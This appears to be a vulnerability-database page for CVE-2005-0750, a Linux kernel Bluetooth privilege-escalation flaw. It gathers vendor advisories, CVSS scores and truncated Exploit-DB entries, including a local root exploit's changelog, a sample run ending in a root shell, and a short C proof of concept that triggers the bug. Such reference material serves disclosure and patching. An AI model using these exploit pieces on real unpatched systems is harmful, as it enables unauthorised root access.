CVE-2005-0750
published 2005-03-27CVE-2005-0750: The bluez_sock_create function in the Bluetooth stack for Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5 allows local users to gain privileges…
PriorityP429high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
0.85%
54.2th percentile
The bluez_sock_create function in the Bluetooth stack for Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5 allows local users to gain privileges via (1) socket or (2) socketpair call with a negative protocol value.
Affected
47 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| conectiva | linux | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
| linux | linux_kernel | — | — |
CVSS provenance
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Linux kernel vulnerabilities
vendor_ubuntu·2005-04-01
CVE-2005-0400 Linux kernel vulnerabilities
Title: Linux kernel vulnerabilities
Summary: Linux kernel vulnerabilities
Mathieu Lafon discovered an information leak in the ext2 file system
driver. When a new directory was created, the ext2 block written to
disk was not initialized, so that previous memory contents (which
could contain sensitive data like passwords) became visible on the raw
device. This is particularly important if the target device is
removable and thus can be read by users other than root.
(CAN-2005-0400)
Yichen Xie discovered a Denial of Service vulnerability in the ELF
loader. A specially crafted ELF library or executable could cause an
attempt to free an invalid pointer, which lead to a kernel crash.
(CAN-2005-0749)
Ilja van Sprundel discovered that the bluez_sock_create() function did
not check its "protocol
Red Hat
security flaw
vendor_redhat·2005-03-24·CVSS 7.2
CVE-2005-0750 [HIGH] security flaw
security flaw
The bluez_sock_create function in the Bluetooth stack for Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5 allows local users to gain privileges via (1) socket or (2) socketpair call with a negative protocol value.
GHSA
GHSA-hrxw-8xj5-4j6f: The bluez_sock_create function in the Bluetooth stack for Linux kernel 2
ghsa_unreviewed·2022-05-01
CVE-2005-0750 [HIGH] GHSA-hrxw-8xj5-4j6f: The bluez_sock_create function in the Bluetooth stack for Linux kernel 2
The bluez_sock_create function in the Bluetooth stack for Linux kernel 2.4.6 through 2.4.30-rc1 and 2.6 through 2.6.11.5 allows local users to gain privileges via (1) socket or (2) socketpair call with a negative protocol value.
No detection rules found.
Exploit-DB
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)
exploitdb·2005-10-26
CVE-2005-1294 Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)
Linux Kernel 2.4.x/2.6.x - 'Bluez' BlueTooth Signed Buffer Index Privilege Escalation (2)
---
/*
Due to many responses i've improved the exploit
to cover more systems!
ONG_BAK v0.9 [october 24th 05]
""""""""""""""""""""""""""""""""""""
o universal "shellcode" added
o try to use all possible memory regions
o bugfixes
qobaiashi@voyager:~/w00nf/kernelsploit> ./ong_bak -100222
-|-bluez local root exploit v.0.9 -by qobaiashi-
|
|- i've found kernel 2.6.11.4-20a-default
|- trampoline is at 0x804869c
|- trying...
|- [ecx: bf8d0000 ]
|- suitable value found!using 0xbf8d0000
|- the time has come to push the button...
sh-3.00# exit
ONG_BAK v0.3 [april 8th 05]
"""""""""""""""""""""""""""""""""
ong_bak now checks the value of ecx and launches
the exploit in case a suitable value has been found
Exploit-DB
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation
exploitdb·2005-10-19
CVE-2005-0750 Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation
Linux Kernel 2.4.30/2.6.11.5 - BlueTooth 'bluez_sock_create' Local Privilege Escalation
---
/*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/25290/
source: https://www.securityfocus.com/bid/12911/info
A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.
A local attacker may leverage this issue to gain escalated privileges on an affected computer.
*/
/* LINUX KERNEL ] Not tainted VLI
EFLAGS: 00010286 (2.6.9)
EIP is at bt_sock_create+0x3d/0x130
eax: ffffffff ebx: ffebfe34 ecx: 00000000 edx: c051bea0
esi: ffffffa3 edi: ffffff9f ebp: 00000001 esp: c6729f1c
ds: 007b es: 007b ss: 0068
Process backdoored-bluetooth (pid: 8809, threadinfo=c6729000
task=c6728a20)
Stack: ce
Exploit-DB
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)
exploitdb·2005-04-08
CVE-2005-0750 Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index Privilege Escalation (1)
---
/*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/926/
source: https://www.securityfocus.com/bid/12911/info
A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.
A local attacker may leverage this issue to gain escalated privileges on an affected computer.
*/
/*
ONG_BAK v0.3 [april 8th 05]
"""""""""""""""""""""""""""""""""
ong_bak now checks the value of ecx and launches
the exploit in case a suitable value has been found!
ONG_BAK v0.1 [april 4th 05]
"""""""""""""""""""""""""""""""""
local root exploit for the bluetooth bug
usage:
the bug is quite stable so you can't realy fu
Exploit-DB
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index (PoC)
exploitdb·2005-03-28
CVE-2005-0750 Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index (PoC)
Linux Kernel 2.4.x/2.6.x - BlueTooth Signed Buffer Index (PoC)
---
/*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/926/
source: https://www.securityfocus.com/bid/12911/info
A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.
A local attacker may leverage this issue to gain escalated privileges on an affected computer.
*/
#include
#include
#include
#include
main()
{
int ctl;
/* Open HCI socket */
if ((ctl = socket(AF_BLUETOOTH, SOCK_RAW, -1111)) < 0)
{
perror("Can't open HCI socket.");
exit(1);
}
}
http://lists.grok.org.uk/pipermail/full-disclosure/2005-March/032913.htmlhttp://marc.info/?l=bugtraq&m=111204562102633&w=2http://www.redhat.com/support/errata/RHSA-2005-283.htmlhttp://www.redhat.com/support/errata/RHSA-2005-284.htmlhttp://www.redhat.com/support/errata/RHSA-2005-293.htmlhttp://www.redhat.com/support/errata/RHSA-2005-366.htmlhttp://www.securityfocus.com/bid/12911https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152532https://exchange.xforce.ibmcloud.com/vulnerabilities/19844https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11719http://lists.grok.org.uk/pipermail/full-disclosure/2005-March/032913.htmlhttp://marc.info/?l=bugtraq&m=111204562102633&w=2http://www.redhat.com/support/errata/RHSA-2005-283.htmlhttp://www.redhat.com/support/errata/RHSA-2005-284.htmlhttp://www.redhat.com/support/errata/RHSA-2005-293.htmlhttp://www.redhat.com/support/errata/RHSA-2005-366.htmlhttp://www.securityfocus.com/bid/12911https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=152532https://exchange.xforce.ibmcloud.com/vulnerabilities/19844https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11719
2005-03-27
Published